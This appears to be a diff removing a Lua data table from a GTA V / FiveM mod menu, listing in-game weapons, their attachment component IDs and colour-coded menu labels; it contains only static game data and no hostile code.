- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
- },
- {
- name = '~h~~r~> ~s~Large Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_AR_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_AR_BARREL_0'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- },
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP_02'
- }
- }
- }
- },
- CarbineRifle = {
- id = 'weapon_carbinerifle',
- name = '~h~~r~> ~s~Carbine Rifle',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_CARBINERIFLE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_CARBINERIFLE_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Box Magazine',
- id = 'COMPONENT_CARBINERIFLE_CLIP_03'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- CarbineRifleMkII = {
- id = 'weapon_carbinerifle_mk2',
- name = '~h~~r~> ~s~Carbine Rifle Mk II ',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
- },
- {
- name = '~h~~r~> ~s~Large Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_CR_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_CR_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- },
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP_02'
- }
- }
- }
- },
- AdvancedRifle = {
- id = 'weapon_advancedrifle',
- name = '~h~~r~> ~s~Advanced Rifle ',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_ADVANCEDRIFLE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_ADVANCEDRIFLE_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- }
- }
- }
- },
- SpecialCarbine = {
- id = 'weapon_specialcarbine',
- name = '~h~~r~> ~s~Special Carbine',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_SPECIALCARBINE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_SPECIALCARBINE_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_SPECIALCARBINE_CLIP_03'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- SpecialCarbineMkII = {
- id = 'weapon_specialcarbine_mk2',
- name = '~h~~r~> ~s~Special Carbine Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
- },
- {
- name = '~h~~r~> ~s~Large Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_SC_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_SC_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- },
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP_02'
- }
- }
- }
- },
- BullpupRifle = {
- id = 'weapon_bullpuprifle',
- name = '~h~~r~> ~s~Bullpup Rifle',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_BULLPUPRIFLE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_BULLPUPRIFLE_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- BullpupRifleMkII = {
- id = 'weapon_bullpuprifle_mk2',
- name = '~h~~r~> ~s~Bullpup Rifle Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Armor Piercing Rounds',
- id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Small Scope',
- id = 'COMPONENT_AT_SCOPE_MACRO_02_MK2'
- },
- {
- name = '~h~~r~> ~s~Medium Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_BP_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_BP_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- },
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- CompactRifle = {
- id = 'weapon_compactrifle',
- name = '~h~~r~> ~s~Compact Rifle',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_COMPACTRIFLE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_COMPACTRIFLE_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Drum Magazine',
- id = 'COMPONENT_COMPACTRIFLE_CLIP_03'
- }
- }
- }
- }
- },
- LMG = {
- MG = {
- id = 'weapon_mg',
- name = '~h~~r~> ~s~MG',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_MG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_MG_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL_02'
- }
- }
- }
- },
- CombatMG = {
- id = 'weapon_combatmg',
- name = '~h~~r~> ~s~Combat MG',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_COMBATMG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_COMBATMG_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- CombatMGMkII = {
- id = 'weapon_combatmg_mk2',
- name = '~h~~r~> ~s~Combat MG Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_COMBATMG_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_COMBATMG_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_COMBATMG_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_COMBATMG_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_COMBATMG_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_COMBATMG_MK2_CLIP_FMJ'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Medium Scope',
- id = 'COMPONENT_AT_SCOPE_SMALL_MK2'
- },
- {
- name = '~h~~r~> ~s~Large Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_MG_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_MG_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP_02'
- }
- }
- }
- },
- GusenbergSweeper = {
- id = 'weapon_gusenberg',
- name = '~h~~r~> ~s~GusenbergSweeper',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_GUSENBERG_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_GUSENBERG_CLIP_02'
- }
- }
- }
- }
- },
- Snipers = {
- SniperRifle = {
- id = 'weapon_sniperrifle',
- name = '~h~~r~> ~s~Sniper Rifle',
- bInfAmmo = false,
- mods = {
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_LARGE'
- },
- {
- name = '~h~~r~> ~s~Advanced Scope',
- id = 'COMPONENT_AT_SCOPE_MAX'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP_02'
- }
- }
- }
- },
- HeavySniper = {
- id = 'weapon_heavysniper',
- name = '~h~~r~> ~s~Heavy Sniper',
- bInfAmmo = false,
- mods = {
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_LARGE'
- },
- {
- name = '~h~~r~> ~s~Advanced Scope',
- id = 'COMPONENT_AT_SCOPE_MAX'
- }
- }
- }
- },
- HeavySniperMkII = {
- id = 'weapon_heavysniper_mk2',
- name = '~h~~r~> ~s~Heavy Sniper Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Armor Piercing Rounds',
- id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_FMJ'
- },
- {
- name = '~h~~r~> ~s~Explosive Rounds',
- id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_EXPLOSIVE'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Zoom Scope',
- id = 'COMPONENT_AT_SCOPE_LARGE_MK2'
- },
- {
- name = '~h~~r~> ~s~Advanced Scope',
- id = 'COMPONENT_AT_SCOPE_MAX'
- },
- {
- name = '~h~~r~> ~s~Nigt Vision Scope',
- id = 'COMPONENT_AT_SCOPE_NV'
- },
- {
- name = '~h~~r~> ~s~Thermal Scope',
- id = 'COMPONENT_AT_SCOPE_THERMAL'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_SR_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_SR_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_SR_SUPP_03'
- },
- {
- name = '~h~~r~> ~s~Squared Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_08'
- },
- {
- name = '~h~~r~> ~s~Bell-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_09'
- }
- }
- }
- },
- MarksmanRifle = {
- id = 'weapon_marksmanrifle',
- name = '~h~~r~> ~s~Marksman Rifle',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_MARKSMANRIFLE_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_MARKSMANRIFLE_CLIP_02'
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Scope',
- id = 'COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP'
- }
- }
- }
- },
- MarksmanRifleMkII = {
- id = 'weapon_marksmanrifle_mk2',
- name = '~h~~r~> ~s~Marksman Rifle Mk II',
- bInfAmmo = false,
- mods = {
- Magazines = {
- {
- name = '~h~~r~> ~s~Default Magazine',
- id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_01'
- },
- {
- name = '~h~~r~> ~s~Extended Magazine',
- id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_02'
- },
- {
- name = '~h~~r~> ~s~Tracer Rounds',
- id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_TRACER'
- },
- {
- name = '~h~~r~> ~s~Incendiary Rounds',
- id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_INCENDIARY'
- },
- {
- name = '~h~~r~> ~s~Hollow Point Rounds',
- id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_ARMORPIERCING'
- },
- {
- name = '~h~~r~> ~s~FMJ Rounds',
- id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_FMJ '
- }
- },
- Sights = {
- {
- name = '~h~~r~> ~s~Holograhpic Sight',
- id = 'COMPONENT_AT_SIGHTS'
- },
- {
- name = '~h~~r~> ~s~Large Scope',
- id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
- },
- {
- name = '~h~~r~> ~s~Zoom Scope',
- id = 'COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM_MK2'
- }
- },
- Flashlight = {
- {
- name = '~h~~r~> ~s~Flashlight',
- id = 'COMPONENT_AT_AR_FLSH'
- }
- },
- Barrel = {
- {
- name = '~h~~r~> ~s~Default',
- id = 'COMPONENT_AT_MRFL_BARREL_01'
- },
- {
- name = '~h~~r~> ~s~Heavy',
- id = 'COMPONENT_AT_MRFL_BARREL_02'
- }
- },
- BarrelAttachments = {
- {
- name = '~h~~r~> ~s~Suppressor',
- id = 'COMPONENT_AT_AR_SUPP'
- },
- {
- name = '~h~~r~> ~s~Flat Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_01'
- },
- {
- name = '~h~~r~> ~s~Tactical Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_02'
- },
- {
- name = '~h~~r~> ~s~Fat-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_03'
- },
- {
- name = '~h~~r~> ~s~Precision Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_04'
- },
- {
- name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_05'
- },
- {
- name = '~h~~r~> ~s~Slanted Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_06'
- },
- {
- name = '~h~~r~> ~s~Split-End Muzzle Brake',
- id = 'COMPONENT_AT_MUZZLE_07'
- }
- },
- Grips = {
- {
- name = '~h~~r~> ~s~Grip',
- id = 'COMPONENT_AT_AR_AFGRIP_02'
- }
- }
- }
- }
- },
- Heavy = {
- RPG = {
- id = 'weapon_rpg',
- name = '~h~~r~> ~s~RPG',
- bInfAmmo = false,
- mods = {}
- },
- GrenadeLauncher = {
- id = 'weapon_grenadelauncher',
- name = '~h~~r~> ~s~Grenade Launcher',
- bInfAmmo = false,
- mods = {}
- },
- GrenadeLauncherSmoke = {
- id = 'weapon_grenadelauncher_smoke',
- name = '~h~~r~> ~s~Grenade Launcher Smoke',
- bInfAmmo = false,
- mods = {}
- },
- Minigun = {
- id = 'weapon_minigun',
- name = '~h~~r~> ~s~Minigun',
- bInfAmmo = false,
- mods = {}
- },
- FireworkLauncher = {
- id = 'weapon_firework',
- name = '~h~~r~> ~s~Firework Launcher',
- bInfAmmo = false,
- mods = {}
- },
- Railgun = {
- id = 'weapon_railgun',
- name = '~h~~r~> ~s~Railgun',
- bInfAmmo = false,
- mods = {}
- },
- HomingLauncher = {
- id = 'weapon_hominglauncher',
- name = '~h~~r~> ~s~Homing Launcher',
- bInfAmmo = false,
- mods = {}
- },
- CompactGrenadeLauncher = {
- id = 'weapon_compactlauncher',
- name = '~h~~r~> ~s~Compact Grenade Launcher',
- bInfAmmo = false,
- mods = {}
- },
- Widowmaker = {
- id = 'weapon_rayminigun',
- name = '~h~~r~> ~s~Widowmaker',
- bInfAmmo = false,
- mods = {}
- }
- },
- Throwables = {
- Grenade = {
- id = 'weapon_grenade',
- name = '~h~~r~> ~s~Grenade',
- bInfAmmo = false,
- mods = {}
- },
- BZGas = {
- id = 'weapon_bzgas',
- name = '~h~~r~> ~s~BZ Gas',
- bInfAmmo = false,
- mods = {}
- },
- MolotovCocktail = {
- id = 'weapon_molotov',
- name = '~h~~r~> ~s~Molotov Cocktail',
- bInfAmmo = false,
- mods = {}
- },
- StickyBomb = {
- id = 'weapon_stickybomb',
- name = '~h~~r~> ~s~Sticky Bomb',
- bInfAmmo = false,
- mods = {}
- },
- ProximityMines = {
- id = 'weapon_proxmine',
- name = '~h~~r~> ~s~Proximity Mines',
- bInfAmmo = false,
- mods = {}
- },
- Snowballs = {
- id = 'weapon_snowball',
- name = '~h~~r~> ~s~Snowballs',
- bInfAmmo = false,
- mods = {}
- },
- PipeBombs = {
- id = 'weapon_pipebomb',
- name = '~h~~r~> ~s~Pipe Bombs',
- bInfAmmo = false,
- mods = {}
- },
- Baseball = {
- id = 'weapon_ball',
- name = '~h~~r~> ~s~Baseball',
- bInfAmmo = false,
- mods = {}
- },
- TearGas = {
- id = 'weapon_smokegrenade',
- name = '~h~~r~> ~s~Tear Gas',
- bInfAmmo = false,
- mods = {}
- },
- Flare = {
- id = 'weapon_flare',
- name = '~h~~r~> ~s~Flare',
- bInfAmmo = false,
- mods = {}
- }
- },
- Misc = {
- Parachute = {
- id = 'gadget_parachute',
- name = '~h~~r~> ~s~Parachute',
- bInfAmmo = false,
- mods = {}
- },
- FireExtinguisher = {
- id = 'weapon_fireextinguisher',
- name = '~h~~r~> ~s~Fire Extinguisher',
- bInfAmmo = false,
- mods = {}
- }
- }
- }
- local b8 = false
- local b9 = false
- local ba = false
- local bb = false
- local bc = nil
- local bd = {}
- local be = {}
- local bf = nil
- local bg = false
